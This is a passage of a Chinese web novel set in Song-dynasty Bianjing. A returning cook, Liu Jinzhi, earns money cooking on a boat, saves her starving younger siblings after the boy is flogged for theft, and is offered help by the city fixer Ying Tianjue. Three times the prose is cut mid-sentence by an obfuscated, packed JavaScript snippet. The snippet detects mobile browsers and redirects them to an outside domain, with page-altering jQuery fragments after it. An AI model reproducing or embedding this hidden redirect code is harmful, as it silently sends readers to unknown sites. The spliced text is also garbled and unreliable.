两道菜都没有翻车，柳金枝擦擦汗，就将砂锅连带红泥炉子一齐搬到傅霁景那边去。 她做菜的时候，为了防止自己炭中毒，船舱里的门窗都是大开的，这些诱人菜香自然散的满船都是。 今个儿上午才买了姜辣羹吃的众船客此时一闻，五脏庙又按捺不住地闹起来，急急忙忙趴在窗口往外探。 我的天爷啊，这位娘子又在做什么大席？怎的就这样香！ 杏安也老早就闻见香味儿了，因傅霁景拘着不许他在外乱窜，怕坏了柳金枝名声，就直在舱里头急得团团转，每隔半刻就去舱口张望，口里念叨着：“哎呀，这位娘子怎么还不来呀？” 当真听见柳金枝来敲门时，更是喜不自胜，连忙跑去开门，对着她叉手一拜：“娘子里面请。” 柳金枝倒被他这般热情态度弄得有些摸不着头脑，但还是笑着回万福，将手中菜品递了过去，道：“郎君在里头，我就不进去了，这菜你端好，得趁热才好吃。” 然后就走了。 杏安几声没把人叫住，只能端着菜搁置在桌上，道：“郎君，这位娘子给我们做了好些菜，却不肯进来坐一坐，好歹让我奉她一盏茶。” 傅霁景将手中书卷成一捆，不轻不重地敲了杏安一下，温声道：“人家是未出阁的女儿家，怎能随随便便进我这个陌生郎君的舱门？人家将饮食放下就走，恰恰是知礼数。” 杏安不好意思地挠挠头，又忙指着饮食说：“郎君赶紧来用饭吧，正热咧！” “我每日要背三页书，现下才背了一页，饮食先放着吧，不着急。”傅霁景道。 “哦……” 杏安失望地应了一声，蹲到一边眼巴巴地盯着桌上两道菜，直看的口水直流。 见他这幅馋猫模样，傅霁景失笑，道：“你若是饿，就先吃，不必等我。” 杏安当即转喜，笑嘻嘻对傅霁景叉手一拜：“多谢二郎君。” 就赶紧拣了只小碗，率先从砂锅里扒了两筷子小米焖饭。 他可是一打眼就盯上这色泽鲜亮的饭食了！ 嗷呜一口吃下去，杏安险些把舌头都吞掉了半条，连句话都来不及说，只一味埋头扒饭。 筷子和瓷碗相撞发出叮叮当当的声音，叫傅霁景忍不住蹙了一下眉头。 结果杏安吃的太快，小米噎住了喉咙，惹得他赶紧扯过一只小瓷碗倒上羊汤，一仰头，咕噜咕噜灌了半碗。 感觉气通畅了，便又拣回饭碗，接着埋头扒饭。 这吃相倒叫傅霁景忍不住疑惑。 当真这么好吃？ 傅霁景的视线不由从书上移到杏安身上，只见一碗黄金焖饭，却撑不到半柱香的时间就被杏安吃了个干净，连一粒儿米也没剩下。而夹出来的羊肉、萝卜更是半点不剩。 吃了一顿饭，两只碗就跟没盛过东西一样。 “郎君。”杏安打了一下嗝，眼睛却犹盯着那些饭食，语气充满遗憾，“你书背完了吗？再不吃，这些个好东西可就要凉透了，多可惜啊。” 傅霁景看看剩下的书页，又望了下还剩下半份的吃食，以及似乎还能再吃一碗的杏安，迟疑半晌后，缓缓放下书卷—— “要不……我先用饭？” 4. 抵达汴京 傅霁景从没吃过这样味道的饭食，明明是普通的小米，为什么就能做到这样好吃？明明是同样的羊肉，这位娘子做出来的味道就是要比其他人更鲜美一些。 他从一开始只是简单试吃，到后面越吃越快，一顿饭食下来，直叫他吃的额头冒汗，脸颊红红。 当最后一口山煮羊汤被吞进肚子，傅霁景发出一声极满足的喟叹：“我当真是极少吃到这样的美味。” 杏安舔着嘴巴，惊奇道：“也不知这位娘子家中是做什么的？这般好的手艺，别说是在秦淮，就是在咱汴京也是排得上名号的。只可惜侯家不识人才，白白把这位娘子撵了出来。依我说，咱不如把这位娘子请回家去。” 虽然傅霁景着实被柳金枝的手艺惊艳到了，但他沉思片刻后，还是摇头拒绝：“不妥。” “为什么呀？” “去岁礼部尚书府的柴大人就因着和我们的姻亲关系，特意拨了两个厨子来家照顾饮食。加上本家的，家中已有五位厨子了。若再请了这位娘子，规格上可就要与几位王爷平起平坐了。” “朝中那些个御史大夫们本就因着父亲年不足四十五，而任户部尚书的事情多次进谏，只因父亲平时恭谨守礼才一直平安无事。这回要是给他们抓住不妥之处，父亲在官家面前该如何说嘴？” 杏安满眼失望，叹气道：“要是二郎这样说，那我们不是最多再吃上半个月，以往就再尝不到这位娘子的手艺了？” “缘来而聚，缘去而散，不必如此伤怀。”傅霁景道。 虽然他心中也颇为可惜，但相比于美食，还是谨守规矩更加重要。 杏安唉声叹气，却也无可奈何，心中只预备着将每日的饭食都吃个干净，也好最后祭一祭自己的五脏庙。 却不知柳金枝本就打算回汴京支小摊儿，兜售姜辣羹只是第一步，第二步她就预备着每日多做一些吃食，争取在船上就拉拢一些食客。 于是不消三天，满船皆知有位柳娘子，家住汴京新曹门边儿上，厨艺十分了得。因预备回汴京盘下一个小摊儿卖吃食，所以在船上先做试卖。 若船上的食客们吃的好，想要与这位娘子做长久生意，就去新曹门的胡同口寻一处“柳记饭馆”。 要是能带上新客一起光顾，还能给你打九折！ 这可把杏安高兴坏了，急急忙忙来问柳金枝具体去何处寻她。 柳金枝摸了摸下巴：“新曹门外的胡同里还不够具体么？” 杏安道：“柳娘子，你怕是一直待在秦淮不知道汴京的变化。” 一涉及到吃，杏安比平常精明多了，很快就点出柳金枝的问题：“新曹门外又不止一个胡同，难道你要叫食客们走街串巷似地去找你吗？” 柳金枝承认这确实是一个问题。 原主被卖入孙府后就一直待在三娘子身边，后面又跟去了秦淮，许多年没怎么在汴京的街上漫步过了，对于汴京也不算了解。 “杏安小哥，你与我不同，你是长久的在汴京，定然有法子帮我。”柳金枝对着杏安笑，“若事儿能成，我请小哥你吃笼热乎乎的酸馅儿包子。” 一听说有吃的，杏安顿时两眼发亮，把胸脯拍的啪啪响，豪气道：“娘子你且安心，我有办法。” 就俯身过来，对着柳金枝耳语了一阵。 柳金枝听罢，笑着对杏安万福：“多谢小哥了，晚些时候我就把包子送去。” 杏安点头不迭，乐呵呵地回转了。 原来杏安是将自己在汴京城里的一位朋友介绍给了柳金枝，并号称他人脉广，三教九流的无不认识，保管能为她寻一处敞亮又显眼的地方支摊子，让那些从船上寻过来的食客一打眼就瞧见。 这话若是从旁人嘴巴里说出来，柳金枝自是不信，但杏安毕竟是傅霁景身边的人，她还是信一两分。 于是当晚就将包子做好了送给杏安不提。 为了避免河水结冰严重影响漕运，船只全速向前，不消半月，已经隐隐靠近汴京。 等到日头最盛的时候，船即将靠岸。 船老大和船伙计招呼着船客们依次分批下船，柳金枝是乙字号，还要稍待，干脆坐在自己的船舱里，从窗口朝外望。 漕运码头口一片拥挤繁华，灿烂的冬日阳光洒在波光粼粼的水面，如同给波纹镀上一片金光，碎冰在河面上下起伏，像是坠入水面的金子。 衣着光鲜的船客才下肩舆，怀里揣着汤婆子，倚在石栏边张望下一班船只。脚夫们赤裸上身伏起笨重行李，一步深一步浅走在跳板上，脸上淌满热汗。 再远处，厚重的白雪尚且覆盖着灰色屋瓦，大片小片连在一起。楼栋房屋鳞次栉比，市井人家，烟火繁盛。凡井水饮处，人声鼎沸，欢声笑语不绝。 这就是汴京城，整个宋朝最最繁华的所在。 难怪孟元老时隔多年都无法忘怀这一盛况，人到晚年还挥墨泼毫写下《东京梦华录》一篇，以此纪念往昔。 当真是东京繁华迷人眼呐。 隔窗望了会儿，舱门被人敲响，是船伙计来通知柳金枝下船了。 柳金枝背起包袱开门。 门外站着的除了船伙计，还有个模样憨厚老实的青年汉子。 船伙计道：“这是我给娘子寻的脚夫，信得过，娘子有什么的尽管交与他驮下船。” 柳金枝点点头。 脚夫就与柳金枝见礼，埋头进了舱扛行李。 船伙计却没走，反而又从怀里摸出一只精致茄袋，递过来，道： “这是甲字号一位傅姓郎君叫我转交给娘子的，说是这半个月来的伙食费一发算与娘子。因着他们有事儿早一步下船，所以没法儿当面告劳娘子辛苦，还望娘子不要见怪。” 柳金枝惊讶，接过茄袋打开一瞧，发现里头竟然放了三两银子，也就是三千贯。 但这些日子的食材是对方出，她费的不过是些佐料，花不得什么钱。 再说了，她做吃食本就是为了报恩，可这么一算，她报恩报到最后反多得了二两多钱。 柳金枝难得有些脸红。 但她正是用银子的时候，这钱既然送到手边，便不得不收。 心中对傅二郎遥遥告了声谢，柳金枝腆着脸收下茄袋，又取出十来文谢了船伙计，这才下了船。 宋朝时畜牧业不发达，反映到人们的生活中就是不仅羊肉贵，而且没有好马。就算有好马，也是紧着权贵使用，普通市民则大多都用驴车。 因此租赁驴车的铺子到处都是，柳金枝不废什么力气就找到了一辆，驮着全部行李从开远门进。 整个汴京城分外城和内城，外城的城门内外又额外修有翁城三层，每层瓮城大门互不相对，留有空隙。 这种设计使得汴京城的城墙异常厚实，能够有效抵抗外敌入侵。 进了开远门就是万胜门内大街，两边是西水门鱼街和西浮桥，街面上行人来来往往，络绎不绝。 有的挎着篮子正要去太和宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458078|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烧香点蜡，有的是要过金粱桥往州西瓦子里去，有的拢着袖子埋头匆匆往家赶。 期间还可见挑着担子为各大酒楼送货的挑夫。 可谓是人头攒动，热闹不已。 然而这般繁华不过才是汴京的外城，待到驴车进了阖闾门，才算是进了汴京的内城。 相较于外城，内城之景更是令人目不暇接。 孟元老的《东京梦华录》里说汴京是：“雕车竞驻于天街，宝马争驰于御路，金翠耀目，罗绮飘香。” 柳金枝所见也正是如此。 打彩缎札就的唐家大酒楼牌坊下过，一路可见启圣院、尚书省、景灵西宫，尔后就是御街，路上人流更甚，两旁放有红漆杈子，底下是御沟，沟边是高台。台外供行人通过，台内则有军巡辅的辅兵巡视。 这就好似一副《清明上河图》活生生地展现在她眼前，正所谓车如流水马如龙，管弦歌舞，柳陌花巷，处处是动人之地，险些没叫人看花了眼。 心情激动之下，她坐在这敞篷驴车上竟然也不觉得冷了。 如此，她觉得再不该嘲笑刘姥姥进大观园，因为哪怕是现代人来到这般繁华之地，受到这么大冲击所表现出来的姿态，比起刘姥姥来也好不到哪儿去。 因为开远门在西，新曹门在东。 在横穿整个汴京城，饱览一番盛景之后，驴车终于在两个时辰之后抵达了目的地。 忙不迭地把行李卸下来，又与赶驴车的车把式结了账，柳金枝擦了把汗，心中庆幸好在是从西到东，要是从南到北，她大概还要再受一个时辰的冻。 而柳金枝这副未出阁女儿家的打扮，再加上这大包小包的行李，几乎是刚一落地就引起了周围人的注意。 有个扫雪的妇人瞧她眼熟，眯着眼想了许久，惊喜道：“你是金枝？” 柳金枝回过头来，从记忆里找出妇人的名字，笑道：“黄婶儿，是我，没想到这么多年过去了，你还记着我。” 得了肯定的回答，黄婶儿赶忙对另几个扫雪妇人招手，高兴喊道：“快来快来，金枝回来了！” “什么？是金枝？！” “哎哟，该有许多年没见着她了。” …… 几个妇人将柳金枝围成一个圈，七手八脚地替她拍去身上的雪。 “你这傻孩子，怎么专挑在大雪天回来？” “瞧瞧这手都冻僵了，快去我哪儿烤烤火。” 还有个婶子不说话，只搓热了手把她握住，暖呼呼的温度直流淌进柳金枝心里去。 她记得这些婶子都是跟柳家关系好的，也是看着她长大的，算起来，这些婶子都该是她的长辈才是。 “我的奴契到期了，自然就回来了。”柳金枝笑着回答。 “唉，你回来可就太好了，你都不晓得那两个孩子吃了怎样的苦！” “你那黑心的舅舅、舅妈自个儿卖假药，反被人抓住告到官府，没奈何赔了银子，就想着另赚补贴。” “你舅妈就把两个孩子扫地出门，空出来的屋子挂牌租赁出去！又不许他们在这老屋，怕少一份租金！” “寒冬腊月里，这两个孩子没个地方吃，没个地方睡，全靠胡同里这些个邻里乡亲接济。但大家也没有多富余，也只能勉强养活，却吃不上一顿饱饭。” “这两个孩子可能是饿狠了，没忍住偷了王记的包子。结果王老板报了官，昨个儿双双被抓到军巡铺去了。被判了笞刑，现下正在行刑咧！” 5. 一双弟妹 宋朝的军巡辅就相当于现代的公安局，但比公安局常见，每隔三百步就设立一处，有五个辅兵，凡是宋朝律法严令禁止之类，如偷窃、打人、拐卖等等都归他们管。 虽然事务繁忙，但效率很高，等到柳金枝赶到时，判受笞刑的一批人犯已经行刑完毕。 落满白雪的刑场一片哀嚎，大多都是些十二三岁的少年，衣不蔽体，形容狼狈。 只有一个脏兮兮的小妮子跪坐在刑场最角落的地方，约莫五六岁光景，脸色蜡黄，小脸瘦削，格外显出一双大眼睛，就像一只瘦脱了相的猫儿。头上胡乱扎着两个小髻，瘦削的肩膀上还披着一件明显不符合她年龄的破旧棉衣。 她推着倒在脏地上昏迷不醒的少年，啪嗒啪嗒往下掉眼泪，哭道：“哥！哥！你醒醒啊！” 柳金枝一怔，走了两步上前看清了小妮子的脸。 虽然比起记忆里的襁褓婴孩，此时小孩的眉眼显得更加陌生，但她还是一眼就认了出来，这就是她妹妹柳月牙。 那么地上的这个人，就该是她十二岁的弟弟柳霄。 依照宋朝律法，犯偷窃罪者十岁以下家庭教育即可，十岁以上才执行笞刑。 所以那些鞭子全都甩在了柳霄身上，打得少年皮开肉绽，单薄的衣服一条条裂开，露出一截更为瘦削的苍白背脊。 饶是如此，他的手还紧紧攥着妹妹的手，安慰着她别怕，好似哪怕走到了绝路，也要尽全力站起来挡住妹妹面前的风雨。 柳金枝心中不忍，放轻了声音：“阿霄，阿月，我是大姐，我回来了。” 柳月牙哽咽着抬起脸来，泪水充盈的眼满是迷茫，像是根本记不得柳金枝了。 也难怪，柳家败落，柳金枝自卖进孙府的时候，柳月牙才不到一岁，哪里会认得什么人？ 但现下也不是多解释的时候，柳金枝瞧见躺在脏地的柳霄嘴唇惨白，脸却烧得通红，额头冷汗涔涔，眼皮紧闭，根本不省人事。 不能再耽搁下去了。 柳金枝直接上前一步搂住柳霄，将人抱起来时，才惊觉少年身体之轻，简直到了只剩一把骨头的地步。 更何况少年冷到极致，已经开始打摆子。 就像一只即将死亡的小猫，在生命的最后发出一点微弱呼唤。 柳金枝倒吸一口凉气，也管不得柳月牙对她还不能完全信任，直接一手搂紧柳霄，一手扯着哭嚎挣扎的柳月牙直奔医馆而去。 也是老天有眼，医馆的坐镇大夫正好在，粗略诊脉后，沉吟道：“孩子身上的外伤倒是不打紧，问题在于他身体孱弱，底子空虚，可见是长久的不食荤腥，邪风一入体就起了高热。” 柳金枝不由忧心地蹙起眉头。 大夫道：“但也不用过于担忧，待老夫开一副方子，娘子回家熬成浓浓的一碗给他吃，以此驱寒。往后再吃些好的将养着，这底子也能再养回来。” 柳金枝这才松了一口气，放心地跟着医馆学徒去抓药。 汴京药材价贵，几剂伤寒药并上几剂补药，加在一起足足要了她二两多银子，正好对上傅霁景给她的数额。 唉，看来靠不劳而获发不了财，她还是得勤勤恳恳凭手艺赚钱。 柳金枝叹了口气，低身将柳霄背在背上，转身时，一只小手却不知从何处伸来默默抓住了她的衣角。 低头一看，柳月牙已经擦干了脸上泪痕，正仰着一张小脸望她，拘谨又生疏地唤了声：“阿、阿姐。” 这孩子态度转变太快，倒叫柳金枝摸不着头脑，笑道：“你怎的现下就认定我是你阿姐了？你就不怕我是拍花子，要将你和你哥哥一同拐走？” “拍花子不会管我们的死活，但你管，还掏银子给哥哥治病。”柳月牙的大眼睛闪烁着聪慧倔强的光，“而且我听黄婶子说过，我和哥哥确实还有一个大姐姐，只是很早以前就离开了汴京，只有哥哥见过她。” 大概这小家伙方才看见柳金枝摸遍全身掏银子，也要给柳霄看病的狼狈样儿才得出了这个结论。 柳金枝心中软了一下，摸摸她的小脑袋：“你是个聪明孩子。” 二人踏着雪往家的方向走。 早年原主将柳家挂牌租赁给了来往科考的学子，如今房子里还住着人。 即便柳金枝告知了自己不再出租的打算，这家学子也赶不及搬出去，只能先勉强腾出一间狭小的偏室给三个人暂作落脚之地。 室内连个像样的炭盆都没有，冷的仿佛要结冰。 柳金枝让月牙暂时照顾柳霄，自己跑去左邻右舍借了一圈，才勉强凑够一些生活用具。 把炭盆生起来后，红彤彤的火舌总算让屋子多了一丝暖意。 而回头看，柳霄被月牙裹在被子里，不知什么时候竟然醒了，正面前支起身体，睁着一双黑沉沉的眼看她生火。 姐弟两个多年未见，总有些生疏。 柳金枝主动道：“霄哥儿，还识得我么？” 面对苍白狼狈是少年，她温声软语，又上前两步想要去探少年额头温度。 只是手才伸出去，却叫少年猛一下躲开了。 柳金枝的手落了空，尴尬地悬着未动。 月牙就拉拉柳霄，低声说：“哥，这是大姐，她回来看我们了。” 闻言，柳霄还是不说话，反而推开月牙的手，重新躺回被窝里，背对向所有人。 柳金枝不由抿了抿唇。 在她的记忆里，柳霄最喜欢的便是她。 小时候，无论她去哪里，身后都会跟着一个胖乎乎的小豆丁，明明奶声奶气的连句话都说不全，却还屁颠屁颠地扯着她的衣角唤“阿姐，阿姐”。 尝过一口的果子，只要觉得好吃，就会高高兴兴再拿一个新的，如珍似宝般塞给她。 等稍大些了，得知她最怕狗，就天天拿着根树枝出去行侠仗义。 那段时间胡同里的恶犬都被柳霄折腾了一遍。 一次她路过，还瞧见柳霄跟一只野狗打作一团。她赶忙上前拉了，才发现这狗就是近来吓哭她的那只。可被柳霄打了一顿，再看见她也只嗷呜嗷呜地唉叫个不停，再不敢放肆。 小小的柳霄叉着腰，满脸是伤，却又十分自豪地说：“姐，你瞧，我能护着你！” 但这么个心心念念记挂着她的小人儿，却在得知她要离开汴京时狠狠咬了她一口。 那天柳霄来送行。 孙府里头敲锣打鼓，新娘子马上就要出门，所有流程紧锣密鼓般安排着，她作为陪嫁丫鬟，忙的仿佛要窒息。 可因许久没见过弟弟，她挂念的很，最终还是苦苦央求了府内的管家老婆，才得了一时半刻的喘息时间，赶出来和柳霄说说话。 柳霄穿的粗布麻衣，脸上也有些脏，低着头，闷声问：“阿姐，你又要走吗？” 她满眼愧疚，点了下头：“嗯。” “那、那我和月牙能不能跟着你一起走？” 她轻轻摇头：“不可以，秦淮那么远，我又要在小姐身边随侍，腾不出手来照顾你们。你们就在汴京待着，有舅舅、舅妈照顾，我心里也安心。” 少年红了眼眶，哀求说：“求求你了，阿姐，我能照顾自己和月牙的。” 她还想说什么，可耳边喜乐声更加高昂，墙内也响起了管家婆子催促的声音。 “霄哥儿，你听话！”她不得已要走。 柳霄却哭着拉住她：“阿姐！你为什么就是不肯带着我们？我们是不是成了你的拖累，让想要丢下我们！” “霄哥儿，我从没有这样想！”她瞪大眼睛。 “那你就不要去秦淮！我讨厌舅舅，讨厌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458079|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舅妈，我要你回来！” “霄哥儿闭嘴，你怎的这么不懂事？！” 她生气。 管家婆子走出角门来催她：“怎么还不进来？小姐就要出门了，正寻你呢！” “就来。”她大声应着，又要走。 柳霄却在这个时候猛然扑上来，狠狠咬了她小臂一口。 她一时吃痛，忍不住打了柳霄一掌，人摔在了地上，扬起一片灰，却倔强地瞪着一双泪红眼看她。 “霄哥儿……” 她下意识想去扶，柳霄却一股脑爬起来拼命跑远了。 管家婆子很惊异：“这个脏兮兮的小人儿是你家弟？怎的咬你一口？” 她低头看着小臂上那道鲜红深刻的牙印，心绪懊恼又纷乱，却只偏过头，泪中带笑：“嗐，小孩子不懂事，长大他就明白了。” 但是长大以后的柳霄，现在只用瘦削的后背来面对他的阿姐。 柳金枝吐出一口气，对月牙道：“你们应该饿了吧？我先去做饭，顺便把药煎上。” 月牙仰着脸看她，道：“阿姐会做饭？我听黄婶子说，阿姐以前在家里做饭常常烧锅坏灶。” 原主确实不怎么会做饭，而且也不爱做饭，整个柳家都知道，所以家里的饭食都是柳母和柳霄准备。 柳金枝随口解释：“后来学的。” “是向膳工们学的吗？” “嗯。” “他们凶吗？” 柳金枝回忆了一下侯府里的那些个一脸横肉的膳工，点头：“很凶。” 身后的被窝忽然动了一下。 柳金枝没发现，端着炉子去外边烧火。 月牙跟在柳金枝后头。 面对这个新回来的大姐，月牙既新奇又好奇，于是追着柳金枝问汴京之外的事。 柳金枝见小孩子喜欢听这些，就将自己在秦淮侯府里多年生活一一讲给她听。 很多在柳金枝看来司空见惯的事儿，都要引起月牙一阵惊呼。 柳金枝不由觉得月牙可爱。 只是讲着讲着，门后不知何时站了个清瘦的影子。 在听到柳金枝轻描淡写地讲，被赶出的侯府经历，那场冻坏人的夜雪，长久立在门框处的人终于开口，声音嘶哑又饱含恨意： “他们竟敢这么欺负你？！” 柳金枝一愣，转身看过去，柳霄脸色惨白，手还紧紧扣住门框，明显是强撑一口气站着，却倔强地盯着柳金枝，似乎定要讨个答案。 “都过去了，我也没死。”柳金枝走过去将人扶住。 “那也不像话！”柳霄剧烈咳嗽起来，惨白的脸上浮现一抹酡红，却仍喘着气，“他们这样草菅人命，就是欺负你身后无人又老实！要不是咱家败落了，也不至于让你吃这样的苦。” “以后时间还长，且看吧，他们不会一直得意的。”柳金枝拍拍他的肩膀，“再说了，我现在回来不是更好？带着你们一起过好日子，重新在这汴京落地生根。” 柳霄怔愣了一瞬：“你、你不走了？” “嗯，从今以后都不走了。” 柳霄眼眶刹那间泛红，却又僵硬地偏开头，哑着嗓子说：“随你，就怕到时候你受不住，又卷了包袱去了。” 尔后转过身躺回了床上。 柳金枝笑了下。 当年的不愉快是因为双方各有苦衷，她能理解柳霄。而柳霄虽然嘴硬，心里却也还念着她这个阿姐。 只要家人齐心，就不愁过不好日子。 “月牙，想吃什么？”柳金枝心情舒畅，笑眯眯地低头问。 月牙咽了口唾沫，两眼发亮的说：“拨鱼儿！” “好！” 柳金枝撸起袖子，从行囊包袱里取出一应材料。 起锅！开整！ 6. 汴京第一帮闲 临近午时，采莲胡同里的妇人们都停了手中活计，在家中暖酒用饭。 街上无人走动，却有一帮闲溜溜达达进了胡同，到院子里头来，停靠在柳家旧宅门首。 有个守门的小厮见了这帮闲，笑道：“应大哥怎的有功夫来这里走走？” “你这小猢狲，你哥我哪日不来瞧瞧你家轩哥儿。”应天爵穿着皮袄，拢着袖子，“若不是怕打搅了他温书应举，你哥我早带着你们出去寻快活了，还让你在这门首干守着？” 小厮对着他叉手一拜，笑道：“多谢应大哥惦记，轩哥儿这会子正用饭呢，您也请进去吧。” 应天爵笑嘻嘻地往里走，余光却瞥见他们偏室前大大小小堆满了麻袋、箱笼。 除却从其中几只精致的檀木小箱子，可以看出是未出阁女儿家的物件儿，其余的麻袋里竟然都装着各式调料吃食，倒像是采莲胡同小院儿里搬进来位膳工。 “这又是哪位？”应天爵问。 “嗐，是这宅子的原主，说是他们也急着住房，所以租完这一季就不再挂牌子了，还催咱们快点找下一季的宅子呢。”小厮说，“也是轩哥儿心善，听他们无处可去，还腾了一间偏室与他们住了” “哪儿有这般道理？寒冬腊月的，最不好找干净宅子了。”应天爵脚步一转，“你且让我与她去说道说道，可不能让轩哥儿吃了这亏！” “欸，应大哥，应大哥！” 小厮拉了几下没拦住，又怕惹出是非，只好赶紧去告诉轩哥儿。 而应天爵几步走到偏室门口，只见门虚掩着，干脆一脚踹开，正要嚷嚷一句“叫当家的出来和我说话”，却迎头被一股香味儿打了一闷棍，下意识往饭桌上看去—— 一大碗大头小尾巴，状似小鲫鱼的面片儿汤。 面汤看起来乳白，泛着金黄油光，又撒了一把葱花，颜色鲜亮。面片儿劲道弹牙，在汤中沉沉浮浮，像鱼戏溪水。似是刚捞出来一碗，此时正是热气腾腾的时候。 桌边坐着个六岁光景的小妮子，正就着汤碗狼吞虎咽，那呼噜呼噜的吸面声，光是听着就叫人流口水。 正值饭点，应天爵还没用饭呢，五脏庙不由得闹起来，找人麻烦的心思一下子散了一半。 可他这突然闯进，叫屋子里几个人都瞪大了眼睛，还以为是大白天遭了强盗。 柳霄咳的撕心裂肺，却将喝了一半的药碗一搁，站起来就要跟去跟应天爵拼命。 谁知柳金枝比他更快，操起一把菜刀冲到应天爵面前，美目圆睁，厉声喝道：“哪里来的贼子？！大白天的也敢光顾你姑奶奶的门首！” “娘子手下留情！”应天爵被唬得大跳一步，“莫要误伤好人！” “好人能在大白天踹人家门？”柳金枝将一双弟妹牢牢护在身后。 柳霄则一边将月牙抱在怀里，一边注意着柳金枝。预备只要应天爵乱来，他就扑上去咬住应天爵的胳膊，撕下他一块儿肉来！ “我这脚是鲁莽了些，这厢与娘子赔个礼，但我只想替我兄弟与娘子再谈谈房屋租赁的事儿。” 应天爵倒不知市井娘子竟然都泼辣到了这般程度，一时被震住了，脸上连忙挂起笑。 那边项志轩也赶忙过来，替应天爵赔了个不是，又与双方做介绍，这才知道原来这应天爵乃是汴京第一帮闲。 平日正经事不做，专司与大贵族、大官僚们、富人等消遣玩乐。 又因他脑筋灵活，嘴皮子利索，人脉又广，往上甚至还能与某个王爷说两句话，在汴京这一片吃的很开，没人不卖他个面子。 不过应天爵倒不怎么摆谱，该怎样还是怎样，自上次解试碰见名列前茅的项志轩，与人结了把子后，就常来采莲胡同这里走动。 如此，柳霄便明白应天爵是见项志轩有才，故意结交。这回踹门，也是为了拿他们做筏子，演给项志轩看的，也好叫这读书人知道应天爵是真拿他当兄弟。 当下脸色就难看起来。 倒是柳金枝知晓了应天爵姓名以后长眉一挑，语气竟然转为温和：“恁个说是一场误会。” 将菜刀往身后一藏。 “奴怕是吓着两位了，正好舍下已备着一桌饭食，若不嫌弃，还请两位进来用，席间再谈房屋租赁的事儿。” 应天爵求之不得，拉着项志轩就往里坐，柳金枝给二人捞面。 项志轩一开始还不怎么好意思，但见柳金枝用长柄铁勺舀起一片面糊，再用小勺子沿着边缘往滚水里拨，每拨一片儿，都是大头小尾巴状似小鲫鱼的面片儿，面食香气随着蒸腾水汽直往人面上扑。 等面片儿煮熟之后过凉水，再盛在一个小瓷碗里，撒上小葱花，淋上几滴石磨香油，再辅以老抽、香醋、白盐拌匀，最后浇上一勺浓浓的高汤。 这香气勾的人食指大动，叫项志轩连不好意思也忘了，接过碗，道过谢，就埋头苦吃，就算是烫了舌头也顾不得。 应天爵更是吃的鼻尖冒汗，脸颊通红，呼噜呼噜喝扒完一碗后又叫一碗。 柳霄见他们跟饿死鬼投胎似的，磨了磨牙，正要说话，柳金枝却将他拉一拉，示意算了。 “你还没吃呢！”柳霄愤愤不平。 柳金枝心中一软，摸摸少年柔软的发顶：“等下吃两个包子垫垫就好。” 柳霄又气闷的不说话。 待到应天爵与项志轩两个吃完，两个各是满足的喟叹一声。 应天爵道：“难得有这么好吃的拨鱼儿，娘子的手艺当真是一绝，为何不去开个饭馆做生意？就是怕没有本钱，也可先支个小摊儿做着，不怕将来没有发达的一天。” “我正是这样想着呢，奈何不太熟悉汴京环境，一时间不敢动手。” 柳金枝微笑。 “好在返程途中奴有幸遇着位小哥，名唤杏安，乃是傅府的家人。他与了奴口信，叫奴到了汴京便去寻一位叫应天爵的先生帮忙，定然能够在汴京站稳脚跟。” 原来当初杏安给柳金枝推荐的，那位三教九流都认识的朋友就是应天爵。 应天爵抚掌大笑：“原来是傅二郎身边的杏安小哥，我与他也是老交情了，这一回可谓是大水冲了龙王庙，一家人不认一家人了，这个忙我定然帮！” 又因杏安是傅霁景身边得脸的小厮，而傅霁景出身又格外了得，应天爵有心巴结拉拢，于是将项志轩介绍给柳金枝，让柳金枝唤声项大哥，又自个儿亲亲热热唤柳金枝一声柳妹子，把关系喊的更亲近不提。 饭毕，送了项志轩回自个儿房，应天爵坐下与柳金枝细聊：“柳妹子，汴京城里是天子脚下，到处都是规矩。你若是要做饭食生意，就得入食饭行。” 所谓食饭行，就是当地餐饮行业自发成立的行业协会。 无论是开大酒楼、小饭馆还是支小摊儿的，哪怕只是挑着个担子，如武大郎一般走街叫卖炊饼，也得先入了食饭行再说，否则就算没有营业资格。 当然，入了食饭行也是好处多多。 很多新手小白刚入行不懂规矩，食饭行里的一些“行老”就会手把手的教，如在何处地方摆摊？与食客发生矛盾了怎么办？若被食客讹了该如何处理？诸如此类。 而官府出台了什么新政策，食饭行也会第一时间通知，不叫各个生意人吃亏。 “妹子你要是来得及，咱们今个儿就去食饭行挂名、缴钱，到明个儿你就能支摊子摆卖。”应天爵笑说，“正好我在食饭行也识得一行老，就叫他替你谋个吉利摊位，保管你客似云来！” 柳金枝听了，高兴拜谢，道：“多谢应大哥，只是今日还是太过仓促，待到明日我将一应食材 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458080|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 购置妥当，再央您带路。” 应天爵摆摆手：“自是迁就妹子的时间。” 